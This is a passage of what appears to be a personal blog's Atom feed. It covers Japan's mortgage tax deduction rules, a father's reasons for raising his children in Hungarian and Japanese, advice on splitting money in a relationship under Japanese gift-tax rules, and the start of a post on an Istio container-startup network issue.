&lt;p&gt;Full list from &lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1211-1.htm#:~:text=%E2%80%BB%E4%BB%A5%E4%B8%8B%E3%81%AE%E8%A1%A8%E3%81%AF%E4%BD%8F%E5%AE%85%E3%82%92%E6%96%B0%E7%AF%89%E7%AD%89%E3%81%97%E3%81%9F%E5%A0%B4%E5%90%88%E3%81%AE%E5%80%9F%E5%85%A5%E9%99%90%E5%BA%A6%E9%A1%8D%E3%80%81%E6%8E%A7%E9%99%A4%E6%9C%9F%E9%96%93%E7%AD%89%E3%81%A8%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/img/1211-1a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You could look into what each category entails, however it mostly comes down to what your house builder can do.
We have talked with a smaller house builder company that said that they don’t have the expertise to apply for any of these certifications, so while (according to them) their quality and insulation is great, you won’t be able to take advantage of this.
Meanwhile we found that big house makers handle it easily (often included in their base price), however certain certifications can come with additional restrictions.
(Not directly related, but we were told that if we want to apply for the &lt;a href=&quot;https://www.kankyo.metro.tokyo.lg.jp/climate/home/tokyo_zeroemission_house/index.html&quot;&gt;Tokyo Zero Emission House&lt;/a&gt; subsidy, all lights have to be low energy, so we can’t use any light we already have, as the maker has to provide information on all lights and they can’t (or don’t want to) deal with our existing lights.)&lt;/p&gt;

&lt;p&gt;If the outstanding principal is over the limit, you can still receive deduction but only up to the limit (&lt;a href=&quot;https://www.ichijo.co.jp/iikoto/tax_reduction/#:~:text=%E4%BD%8F%E5%AE%85%E3%83%AD%E3%83%BC%E3%83%B3%E6%8E%A7%E9%99%A4%E3%81%AB%E3%81%AF,%E7%A8%8E%E3%81%8B%E3%82%89%E6%8E%A7%E9%99%A4%E3%81%95%E3%82%8C%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;So overall if the home meets the strictest standards and the outstanding principal is over 45 million yen, then one can get 45,000,000 * 0.7% = 315,000 yen back per year.&lt;/p&gt;

&lt;h3 id=&quot;income-limit&quot;&gt;Income limit&lt;/h3&gt;

&lt;p&gt;The income has to be under 20 million yen in a year to take advantage of this deduction, however this is not the full gross income (&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1211-1.htm#:~:text=%E3%83%AD%E3%80%80%E3%81%93%E3%81%AE%E7%89%B9%E5%88%A5%E6%8E%A7%E9%99%A4%E3%82%92%E5%8F%97%E3%81%91%E3%82%8B%E5%B9%B4%E5%88%86%E3%81%AE%E5%90%88%E8%A8%88%E6%89%80%E5%BE%97%E9%87%91%E9%A1%8D%E3%81%8C%E3%80%812%2C000%E4%B8%87%E5%86%86%E4%BB%A5%E4%B8%8B%E3%81%A7%E3%81%82%E3%82%8B%E3%81%93%E3%81%A8%E3%80%82&quot;&gt;source&lt;/a&gt;):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;ロ　この特別控除を受ける年分の&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/yogo/senmon.htm#word2&quot;&gt;合計所得金額&lt;/a&gt;が、2,000万円以下であること。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The important thing is that this is not 年収 (total gross income) but 所得 (gross income minus necessary expenses).
For salaried employees, the only expense that counts here is the salary income deduction (給与所得控除). (&lt;a href=&quot;https://www.yahagijisyo.co.jp/ventvert/club/guide/tax02.html#:~:text=%E5%B9%B4%E5%8F%8E%E3%81%8B%E3%82%89%E5%BF%85%E8%A6%81%E7%B5%8C%E8%B2%BB%EF%BC%88%E3%82%B5%E3%83%A9%E3%83%AA%E3%83%BC%E3%83%9E%E3%83%B3%E3%81%AE%E5%A0%B4%E5%90%88%E3%81%AF%E7%B5%A6%E4%B8%8E%E6%89%80%E5%BE%97%E6%8E%A7%E9%99%A4%EF%BC%89%E3%82%92%E5%B7%AE%E3%81%97%E5%BC%95%E3%81%84%E3%81%9F%E3%80%81%E3%81%99%E3%81%B9%E3%81%A6%E3%81%AE%E6%89%80%E5%BE%97%E3%81%AE%E5%90%88%E8%A8%88%E3%81%8C2%2C000%E4%B8%87%E5%86%86%E4%BB%A5%E4%B8%8B%E3%81%A7%E3%81%82%E3%82%8C%E3%81%B0%E9%81%A9%E7%94%A8%E3%81%A8%E3%81%AA%E3%82%8A%E3%81%BE%E3%81%99%E3%80%82&quot;&gt;Source&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;The salary income deduction (給与所得控除) at this income level is 1,950,000 yen (&lt;a href=&quot;https://www.nta.go.jp/english/taxes/individual/12012.htm&quot;&gt;Source&lt;/a&gt;), so in effect for salaried employees the gross income limit is 21,950,000 yen.&lt;/p&gt;

&lt;h4 id=&quot;income-changes-around-the-limit&quot;&gt;Income changes around the limit&lt;/h4&gt;

&lt;p&gt;What if income goes over the limit, then goes under it the next year? You are eligible in the years when your income is under the limit.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;この特別控除を受ける年分の合計所得金額が、2,000万円以下であること。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;(&lt;a href=&quot;https://www.nta.go.jp/taxes/shiraberu/taxanswer/shotoku/1211-1.htm#:~:text=%E3%81%93%E3%81%AE%E7%89%B9%E5%88%A5%E6%8E%A7%E9%99%A4%E3%82%92%E5%8F%97%E3%81%91%E3%82%8B%E5%B9%B4%E5%88%86%E3%81%AE%E5%90%88%E8%A8%88%E6%89%80%E5%BE%97%E9%87%91%E9%A1%8D%E3%81%8C%E3%80%812%2C000%E4%B8%87%E5%86%86%E4%BB%A5%E4%B8%8B%E3%81%A7%E3%81%82%E3%82%8B%E3%81%93%E3%81%A8%E3%80%82&quot;&gt;Source&lt;/a&gt;).
The income has to be under the limit in the year when the deduction is taken.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;なお、所得2000万円の判断は毎年行います。例えば、前年は年収が2200万円で住宅ローン控除を受けられなかった場合であっても、当年の年収が2195万円以下であれば、当年では適用可能です。
The determination of 20 million yen of income will be made every year. For example, even if the previous year’s annual income was 22 million yen and the mortgage deduction was not available, if the current year’s annual income is less than 21.95 million yen, it can be applied in the current year.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://financial-field.com/income/entry-162418#:~:text=%E3%81%AA%E3%81%8A%E3%80%81%E6%89%80%E5%BE%972000%E4%B8%87%E5%86%86%E3%81%AE%E5%88%A4%E6%96%AD%E3%81%AF%E6%AF%8E%E5%B9%B4%E8%A1%8C%E3%81%84%E3%81%BE%E3%81%99%E3%80%82%E4%BE%8B%E3%81%88%E3%81%B0%E3%80%81%E5%89%8D%E5%B9%B4%E3%81%AF%E5%B9%B4%E5%8F%8E%E3%81%8C2200%E4%B8%87%E5%86%86%E3%81%A7%E4%BD%8F%E5%AE%85%E3%83%AD%E3%83%BC%E3%83%B3%E6%8E%A7%E9%99%A4%E3%82%92%E5%8F%97%E3%81%91%E3%82%89%E3%82%8C%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E5%A0%B4%E5%90%88%E3%81%A7%E3%81%82%E3%81%A3%E3%81%A6%E3%82%82%E3%80%81%E5%BD%93%E5%B9%B4%E3%81%AE%E5%B9%B4%E5%8F%8E%E3%81%8C2195%E4%B8%87%E5%86%86%E4%BB%A5%E4%B8%8B%E3%81%A7%E3%81%82%E3%82%8C%E3%81%B0%E3%80%81%E5%BD%93%E5%B9%B4%E3%81%A7%E3%81%AF%E9%81%A9%E7%94%A8%E5%8F%AF%E8%83%BD%E3%81%A7%E3%81%99%E3%80%82&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why I decided to speak my language, Hungarian to our kids and raise them multilingual</title>
   <link href="https://szabo.jp/2024/01/04/bilingualism-decision/"/>
   <updated>2024-01-04T00:00:00+00:00</updated>
   <id>https://szabo.jp/2024/01/04/bilingualism-decision</id>
   <content type="html">&lt;p&gt;We are expecting our first child very soon, so we have been thinking and discussing which language we want to speak to them.
In this post I’ll go through some of the things we considered and how we arrived to a conclusion.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;circumstances&quot;&gt;Circumstances&lt;/h2&gt;

&lt;p&gt;My wife is Japanese, speaks English fluently, and recently started learning Hungarian.
I’m Hungarian, speak English, and have been learning Japanese for 4 years now (probably around N3 level now, so I can handle most everyday conversation, but can’t work in Japanese yet).
When we are together, we speak 80-90% in English, rest is Japanese.
I communicate with my wife’s family almost entirely in Japanese.
Most people in my family speak some level of English, so that’s what my wife uses to talk to them.&lt;/p&gt;

&lt;p&gt;We currently live in Japan, and intend to stay here for the forseeable future.
Even if we would move to another country, it likely wouldn’t be Hungary due to the political and economic outlook of the country, so it would likely only increase the number of languages further.&lt;/p&gt;

&lt;h3 id=&quot;the-hungarian-language&quot;&gt;The Hungarian language&lt;/h3&gt;

&lt;p&gt;The Hungarian language is almost exclusively only spoken by Hungarians in Hungary and neighboring countries (many of them have a Hungarian minority).
This includes overall &lt;a href=&quot;https://en.wikipedia.org/wiki/Hungarian_language&quot;&gt;17 million speakers worldwide&lt;/a&gt; with &lt;a href=&quot;https://en.wikipedia.org/wiki/Hungarians&quot;&gt;9.6 million of them living in Hungary&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The language is an &lt;a href=&quot;https://en.wikipedia.org/wiki/Uralic_languages&quot;&gt;Uralic language&lt;/a&gt; (and the most spoken one at that), which means that it is not similar to any other European language (the closest one is Finnish, however speakers of the two languages can’t understand each other anymore).
This is important especially in comparison to other European languages, where knowing one language makes it easy to learn similar languages (e.g. Italian and French, or Czech and Slovakian, or Swedish and Norwegian).
Hungarian doesn’t provide any benefit like this, so its utility is mainly limited to communicating with Hungarians.&lt;/p&gt;

&lt;h2 id=&quot;options&quot;&gt;Options&lt;/h2&gt;

&lt;p&gt;I’ve talked with many friends and colleges in similar situations about their choice of language to speak to their kids, and found 3 general options. (These examples consider a non-English-native foreign father and Japanese mother):&lt;/p&gt;

&lt;h3 id=&quot;1-monolingual-japanese&quot;&gt;1. Monolingual Japanese&lt;/h3&gt;

&lt;p&gt;Both parents speak Japanese to the kids.
This helps the non-Japanese parent practice the language and keeps the communication simple and similar to fully Japanese families, but the family looses out entirely on the benefits of being bilingual.&lt;/p&gt;

&lt;h3 id=&quot;2-japanese-and-english&quot;&gt;2. Japanese and English&lt;/h3&gt;

&lt;p&gt;Mom speaks Japanese to the kids, dad speaks English to the kids, parents communicate in English.
This is similar to how many families with a native English speaker parent raise their kids.
The main benefit of this approach is that kids will know English almost natively, which is a super valuable skill.&lt;/p&gt;

&lt;h3 id=&quot;3-japanese-non-english-foreign-language-and-english&quot;&gt;3. Japanese, non-English foreign language, and English&lt;/h3&gt;

&lt;p&gt;Mom speaks Japanese to the kids, dad speaks his language to the kids, parents communicate in English.
The main benefit of this is that the kids will have a chance of learning the father’s language, which will help them connect with that side of the family, feel closer to the culture and that side of their identity.
The downside is mostly that their English won’t be as good as #2 and that the non-English language might have lower objective benefits than English.
Also the family will need to put in more effort compared to #2 (e.g. having an English speaking tutor to help kids learn to read/write in English is much easier than doing it in a not so common language).&lt;/p&gt;

&lt;h2 id=&quot;schooling-options&quot;&gt;Schooling options&lt;/h2&gt;

&lt;p&gt;Learning a language as a kid is a big part about exposure to that language.
Once kids start going to nursery, kindergarten and school, they will spend a big part of their waking hours there (and even the rest will be partially taken up by homeworks or hanging out with friends made at school increasing further the use of the school’s language), so the language spoken at school will have a huge impact on the language development of the child.&lt;/p&gt;

&lt;p&gt;As for regular nursery, kindergarten or school, there seem to be two main options in Japan:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Japanese-speaking ones, some public, some private, but even the private ones are pretty affordable for most middle class households&lt;/li&gt;
  &lt;li&gt;International schools holding some or most activities in English. These are usually pretty expensive (between 1-3 million yen per year). While schools might exist for some other popular foreign languages (e.g. the French &lt;a href=&quot;https://www.lfitokyo.org/&quot;&gt;lycée français international de Tokyo&lt;/a&gt;), there is no full-time Hungarian school in Japan.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then there are the after-school activities.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Some of these are similar to regular schools (a teacher teaching a group of students), and they might allow students to get into a higher level group based on their language skills.&lt;/li&gt;
  &lt;li&gt;Some are more like daycare with the staff speaking English.
These might be less useful, as kids can end up speaking mostly Japanese to each other.&lt;/li&gt;
  &lt;li&gt;There is also the possibility for private tutoring or foreign speaker babysitter&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;our-decision&quot;&gt;Our decision&lt;/h2&gt;

&lt;p&gt;We decided that my wife will speak Japanese to our kids, and I will speak Hungarian.
We will continue to communicate in English, but focus on teaching the kids Japanese and Hungarian primarily. 
We haven’t fully decided on international vs Japanese-speaking schools, as we have options for both around where we live, and while we could likely afford international school for at least some of our kids (at a time), it would still be a major expense that we want to consider carefully.&lt;/p&gt;

&lt;p&gt;The reasons for teaching our kids Hungarian comes down to culture, identity and communication with family.
Hungary shares lot of its culture with the neighboring countries (including food, festivals, history), so the main thing that sets a Hungarian apart from e.g. a Slovakian or a Croatian is the language.
Our kids will be Hungarian and Japanese, so to be able to fully have the Hungarian identity, having some knowledge of the language seems paramount.&lt;/p&gt;

&lt;p&gt;Also I really enjoy Hungarian humor (especially the author, &lt;a href=&quot;https://en.wikipedia.org/wiki/Jen%C5%91_Rejt%C5%91&quot;&gt;Jenő Rejtő&lt;/a&gt;. It’s a bit similar to French humor like &lt;a href=&quot;https://www.imdb.com/title/tt0310203/&quot;&gt;Tais-toi!&lt;/a&gt;), however it just doesn’t really translate, so being able to share that with my kids is really important for me.&lt;/p&gt;

&lt;p&gt;I do recognize that teaching and maintaining Hungarian with our kids is going to be a challenge, so based on books and articles that I read, I prepared a list of strategies to help with it:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;At home we will follow the one-parent-one-language method, I will only speak Hungarian to the kids, and my wife will mostly speak Japanese (it is less strict for her, as kids will get exposed to Japanese outside of home anyway).
I will stick to this even if the kids speak to me in a different language, or if they mix the languages (which seem to happen often early on).
When we are outside or with friends, we might speak another language though.&lt;/li&gt;
  &lt;li&gt;I will read children books in Hungarian, listen to songs in Hungarian, watch cartoons and movies in Hungarian with the kids.&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;We plan to stay in Hungary for a month each summer.
This is not only to let the kids practice Hungarian, but also to let them connect with that side of the family and their cultural heritage.
(Both my wife and I work remotely, so we can partially work during this one month.)
Also as the kids get older we plan to leave them with my family, while we have some couple time and travel around Europe.&lt;/p&gt;

    &lt;p&gt;We recognize that as the kids get older and they have more strict school attendance and extracurricular activities (e.g. sport trainings, which often continue during summer break), these stays might get shorter, and we will adjust them as needed.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;There is also the &lt;a href=&quot;https://culture.hu/hu/tokio/nyelvikepzesek/magyar-iskola&quot;&gt;Hungarian School of Tokyo&lt;/a&gt;, which is a Saturday morning school twice a month for kids aged 1-15 in the &lt;a href=&quot;https://maps.app.goo.gl/GdwimSs47deM5PZG8&quot;&gt;Hungarian Cultural Institute&lt;/a&gt; in Minato-ku.
We intend to join this from early on.&lt;/li&gt;
  &lt;li&gt;We are also considering a Hungarian baby-sitter or au-pair, but the formers are hard to come by in Tokyo, and we don’t have enough space in our home for the latter.
But these are also options that we might consider again later.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;goal&quot;&gt;Goal&lt;/h2&gt;

&lt;p&gt;Some books recommend setting a bilingual goal for your children, usually from the list of&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;understanding the language&lt;/li&gt;
  &lt;li&gt;speaking the language&lt;/li&gt;
  &lt;li&gt;reading in the language&lt;/li&gt;
  &lt;li&gt;writing in the language&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is generally believed that this order is increasingly more difficult and later stages encompass earlier ones (e.g. if you can write, you can also read and speak a language).
Most books also recommend adjusting your goals as necessary (e.g. if you can’t travel to your country as often as planned, you might need to aim lower).&lt;/p&gt;

&lt;p&gt;I feel that if the kids can have a conversation with their Hungarian family in Hungarian, enjoy movies in Hungarian (for all that comedy), that would make me very happy.
Still I don’t want to set a strict goal, as I don’t want the language learning to be burden for the kids. 
So I’ll do my best initially, and then work from there with the children themselves.&lt;/p&gt;

&lt;h2 id=&quot;books&quot;&gt;Books&lt;/h2&gt;

&lt;p&gt;I read a few books on raising bilingual kids, and my favorite one was &lt;a href=&quot;https://www.amazon.co.jp/-/en/dp/0521004640&quot;&gt;The Bilingual Family by Edith Harding-Esch, Philip Riley&lt;/a&gt;.
This book goes through the academic literature on the topic, debunks common myths and generally provides a well-rounded overview of research in the area.
Then it describes the stories of multiple families raising bilingual kids.
The book is very European-centric (the authors both live there, as well as most families appearing in the book), which I personally prefer over some of the other, more US-focused books.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Thoughts on handling money in a relationship</title>
   <link href="https://szabo.jp/2023/12/26/thoughts-on-handling-money-in-relationship/"/>
   <updated>2023-12-26T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/12/26/thoughts-on-handling-money-in-relationship</id>
   <content type="html">&lt;p&gt;One of &lt;a href=&quot;https://www.forbes.com/advisor/legal/divorce/common-causes-divorce/&quot;&gt;the common causes of divorce is money problems&lt;/a&gt;, so it’s important to be mindful about it.
Here are my thoughts on one possible way of doing it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;em&gt;This post contains discussion of tax, but is not tax advice. Do your own research.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I’m considering 3 distinct phases of the relationship: dating, moving in together, and marriage.&lt;/p&gt;

&lt;h1 id=&quot;stage-1-dating&quot;&gt;Stage 1: dating&lt;/h1&gt;

&lt;p&gt;This is the first stage of the relationship, when the couple started dating but they don’t yet live together.
Major shared expenses are likely taking trips together and going the restaurants.
At this stage, the main goal should be to learn whether the two people are compatible, which includes how they both approach money.
So I wouldn’t focus too much on how the couple splits the common expenses, but rather how this makes both  of them feel and how they handle when there is a disagreement.&lt;/p&gt;

&lt;p&gt;This also goes for how each party spends money on their own.
Couples at this point often go shopping together and it’s a great opportunity to learn how the other person spends their money, what their priorities are, how they feel about the purchase later, etc.&lt;/p&gt;

&lt;p&gt;Discussion about money at this point might be focused on shared expenses (e.g. what’s the budget for a trip; let me pay for dinner this time; I’m tired, let’s take a taxi, I’ll pay for it), or to learn about the other person’s way of spending (e.g. you asked me about what phone should you get, so what’s your budget and what’s important to you; so you said you need a new winter coat, do you want to go shopping together? Do you have a brand or budget in mind?).&lt;/p&gt;

&lt;h1 id=&quot;stage-2-moving-in-together&quot;&gt;Stage 2: moving in together&lt;/h1&gt;

&lt;p&gt;If the relationship is going well, the next big step is moving in together.
Money becomes more serious now.&lt;/p&gt;

&lt;p&gt;Before moving in together, the couple should sit down and discuss their expected shared expenses.
This exercise has two steps:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;What is considered a shared expense&lt;/li&gt;
  &lt;li&gt;How to fund the shared expenses&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;1-what-is-considered-a-shared-expense&quot;&gt;1. What is considered a shared expense&lt;/h2&gt;

&lt;p&gt;This will include things like:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;rent (or contribution to the mortgage and/or maintenance if one of them owns a home)&lt;/li&gt;
  &lt;li&gt;utilities&lt;/li&gt;
  &lt;li&gt;groceries (food, cleaning supplies, toilet paper, etc.)&lt;/li&gt;
  &lt;li&gt;fun together (restaurants, trips, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The line between personal and shared expense will at times be a bit blurry.
E.g. hand soap is definitely a shared expense, but how about body soap and shampoo that only one person uses?&lt;/p&gt;

&lt;p&gt;It is never going to be perfect split (e.g. if I eat twice as much, should I contribute more?), and I think the goal is again to learn about how the other person treats money and whether the couple is compatible.&lt;/p&gt;

&lt;p&gt;With my partner at this point we included a 20% rule into our calculation: if you are shopping for mostly common stuff, it is fine to include things for yourself up to 20% of the overall amount, and still consider it a shared expense.
But we never actually calculate this, it’s more like a rule of thumb and in practice we go by feeling (e.g. I don’t think twice about adding a canned coffee for myself when I go shopping and pay for it all from the shared account, but I will split the bill if I buy a nice bottle of wine that I’ll drink with my friends without my partner).&lt;/p&gt;

&lt;p&gt;Once you know what you two want to include in the shared expenses, make an estimate for each category and come up with an overall number.
You don’t have to get this perfect first, and actually revisiting this estimate every few months is a great way to keep the discussion about money going.&lt;/p&gt;

&lt;h2 id=&quot;2-how-to-fund-the-shared-expenses&quot;&gt;2. How to fund the shared expenses&lt;/h2&gt;

&lt;p&gt;If the couple makes about the same amount, then splitting half and half is a pretty straightforward solution.
If one of them makes significantly more, then I think the more fair split is in proportion to their take-home incomes, e.g. if one makes 4X money and the other makes 6X, then splitting the costs 40-60%, if one makes twice as much, then splitting 33-67% and so on.&lt;/p&gt;

&lt;p&gt;Regardless of this split, the shared money should be treated as owned equally (so the person contributing more should not have a bigger say in deciding what to spend it on).
Any decision about the spending of this should be made together, and either party should be able to raise  concerns and discuss issues.
If this leads to issues, I’d highly recommend to resolve those fully before moving to the next stage as income difference will likely only get worse (e.g. if one takes paternity leave after having kids), and it is a common source of marital conflict.&lt;/p&gt;

&lt;h2 id=&quot;get-a-shared-account-or-something-like-that&quot;&gt;Get a shared account (or something like that)&lt;/h2&gt;

&lt;p&gt;To facilitate using this shared pile of money, I recommend having a shared bank account or shared balance that both people have a debit card for.
In Japan shared accounts are not a thing (not even for married couples), but &lt;a href=&quot;/2022/05/07/shared-account/&quot;&gt;one can get a pre-paid VISA debit card that’s connected to a shared balance&lt;/a&gt;.
This specific solution has another benefit: moving money between the shared balance and the personal balance is free and only a few taps in the app, so if a shop doesn’t take credit cards, then one can pay in cash and take the money out of the shared balance.
This also works well for splitting expenses (e.g. I can pay for the whole cart with the shared balance, then put back the money for that expensive wine).
Also &lt;a href=&quot;https://paypay.ne.jp/guide/card/&quot;&gt;adding the card to PayPay&lt;/a&gt; helps with shops that only take that.&lt;/p&gt;

&lt;p&gt;Having it in an account has the other benefit that both parties can see where the money is going and it’s easy to look back to past expenses too.&lt;/p&gt;

&lt;p&gt;Having the shared balance also helps push the couple to have regular discussions about money.
There will be months when the money runs out early, and there will be months when there will be leftover.
And there will definitely be exceptions to the “what’s included” that the couple didn’t consider before.
This stage of the relationship should still be about learning about each other and setting a healthy foundation for the relationship, so having regular discussions about money will definitely be helpful.&lt;/p&gt;

&lt;p&gt;At this stage it’s still “my money” and “your money”, and we just split the shared expenses.&lt;/p&gt;

&lt;h1 id=&quot;stage-3-getting-married&quot;&gt;Stage 3: getting married&lt;/h1&gt;

&lt;p&gt;The next stage of the relationship might be marriage.
For some couples, they might decide to continue the system set up in the previous stage, and that’s totally fine, others might open a single shared account and pool all of their money together there.
Personally I’m closer to the second option on this.&lt;/p&gt;

&lt;h2 id=&quot;pre-nup&quot;&gt;Pre-nup&lt;/h2&gt;

&lt;p&gt;Before getting married, I highly recommend couples to sign a pre-nup.
For people in Japan, &lt;a href=&quot;http://www.kouseishousho.org/menu11s.html&quot;&gt;this site has a great template&lt;/a&gt; (&lt;a href=&quot;https://web.archive.org/web/20231225112749/http://www.kouseishousho.org/menu11s.html&quot;&gt;Internet Archive&lt;/a&gt;).
The thing that I really like with this specific template is that it lists out most of the default rules and laws about what’s considered marital property and how it would be split in case of a divorce.
Most couples getting married don’t look into it, so having it all summarized is a good start for discussion (sort of: this is the default, what do we want to change).&lt;/p&gt;

&lt;p&gt;I personally think that the Japanese rules are pretty fair: wealth obtained prior to the marriage and money received (gift, inheritance) is separate property, and only money made during the marriage (salary, bonus) is split half-half during a divorce. Thus the only thing I asked to add was about child custody, as Japan doesn’t have shared custody leading to &lt;a href=&quot;https://en.wikipedia.org/wiki/International_child_abduction_in_Japan&quot;&gt;child abduction cases where one parent can loose all contact to their kids&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;investments-during-the-marriage&quot;&gt;Investments during the marriage&lt;/h2&gt;

&lt;p&gt;A marriage can end in two ways: one (or both) party dying or divorce, and most people aim for the first option (preferably after a long and happy life).
In case of divorce, money will be split according to the pre-nup and applicable laws, while in case of death &lt;a href=&quot;https://englishlawyersjapan.com/inheritance-tax-in-japan/&quot;&gt;inheritance tax&lt;/a&gt; might take effect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My hot take:&lt;/strong&gt; investments made during the marriage should be split equally between the couple.
(E.g. if the couple wants to invest 200,000 yen in a month, each of them should invest 100,000 yen of it.)&lt;/p&gt;

&lt;p&gt;If the marriage ends with someone passing, the inherited amount will be lower leading to a lower inheritance tax (which is progressive), and if the marriage ends with divorce, everyone can just keep their own investments.
If you are the higher earner, and worried about doing this and then divorcing, you can also think of this as giving your spouse the money when you still fully love them, rather than being forced to give them money during a divorce.&lt;/p&gt;

&lt;p&gt;Moreover this can also help the couple invest more in tax-preferential investment options like NISA and iDeCo/DC (if one spouse wouldn’t be able to max it out on their own).&lt;/p&gt;

&lt;h2 id=&quot;be-aware-of-gift-tax&quot;&gt;Be aware of gift tax&lt;/h2&gt;

&lt;p&gt;This is where Japan doesn’t make life easy, as gift tax is levied on any person who receives more than 1.1 million yen in a calendar year and &lt;a href=&quot;https://chester-tax.com/encyclopedia/553.html&quot;&gt;this applies to gifts between married couples as well&lt;/a&gt;.
However money given to a family member for daily living expenses (or educational expenses like university tuition) is not considered a gift, which can lead to very similar situations resulting in different tax implications.&lt;/p&gt;

&lt;p&gt;For example let’s consider a family with the wife only working part time, making 100,000 yen a month.
At the end of the month the couple has 200,000 yen left that they want to invest, 100,000 yen each.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Scenario 1: the wife spends her income on herself, the kids, or everyday items.
The husband sends her 100,000 yen which then she moves to her investment account and invests.
My understanding is that in this case the transfer would count as gift and would incur gift tax liability if it exceeds the yearly tax-free limit.&lt;/li&gt;
  &lt;li&gt;Scenario 2: the wife invest her income entirely.
The husband gives her money for daily living expenses including personal purchases.
My understanding that this would not be considered a gift, and thus no gift tax would need to be paid.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Mentally I prefer to consider the finances of the entire family as a single unit: there is money coming in (our salaries) and money going out (shared expenses, personal expenses, investments), e.g.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;One spouse makes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Other spouse makes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;The shared expenses are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Each spouse keeps &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; for personal expenses (this can be different per spouse, or the same)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X + Y - S - P*2&lt;/code&gt; gives how much the family saves per months. Divide this by two to get the amount each spouse should invest&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;how-to-make-this-work-in-japan&quot;&gt;How to make this work in Japan&lt;/h3&gt;

&lt;p&gt;As Japan doesn’t allow shared bank accounts and enforces gift tax between family members, I think the following strategy is the best to implement the above logic:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;each spouse starts by investing their target amount from their incomes, then&lt;/li&gt;
  &lt;li&gt;each spouse takes out their personal expenses from their income (even if some of this would come from the other spouse, it would be for living expenses and thus likely not incur a gift tax. However using the other spouse’s money for items that have a resale value, e.g. jewelry, might be seen as a gift, so better to use each spouse’s own money.)&lt;/li&gt;
  &lt;li&gt;Pool the rest of the money together to pay for shared expenses (this is a big difference from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;living together&lt;/code&gt; stage of splitting the shared expenses based on the income ratios)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;em&gt;None of this is not tax advice though, and do your own research before you make any decision.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Transient network issue at container start when using istio (solution: holdApplicationUntilProxyStarts)</title>
   <link href="https://szabo.jp/2023/11/26/transient-network-issue-at-container-start-istio-holdApplicationUntilProxyStarts/"/>
   <updated>2023-11-26T00:00:00+00:00</updated>
   <id>https://szabo.jp/2023/11/26/transient-network-issue-at-container-start-istio-holdApplicationUntilProxyStarts</id>
   <content type="html">&lt;p&gt;I was setting up an app on a kubernetes cluster that had istio configured as a service mesh, and I run into an issue: as the application starts, it attempts to communicate to another service over the network (doesn’t matter if it’s an external service or something running on the same cluster), and it fails.
However when I &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl exec&lt;/code&gt; into the container, I can successfully reach the same service.
What’s going on and how to solve it?&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The issue comes from how istio sidecars work.
Istio injects an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initContainer&lt;/code&gt; and a regular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;container&lt;/code&gt; to each Pod.
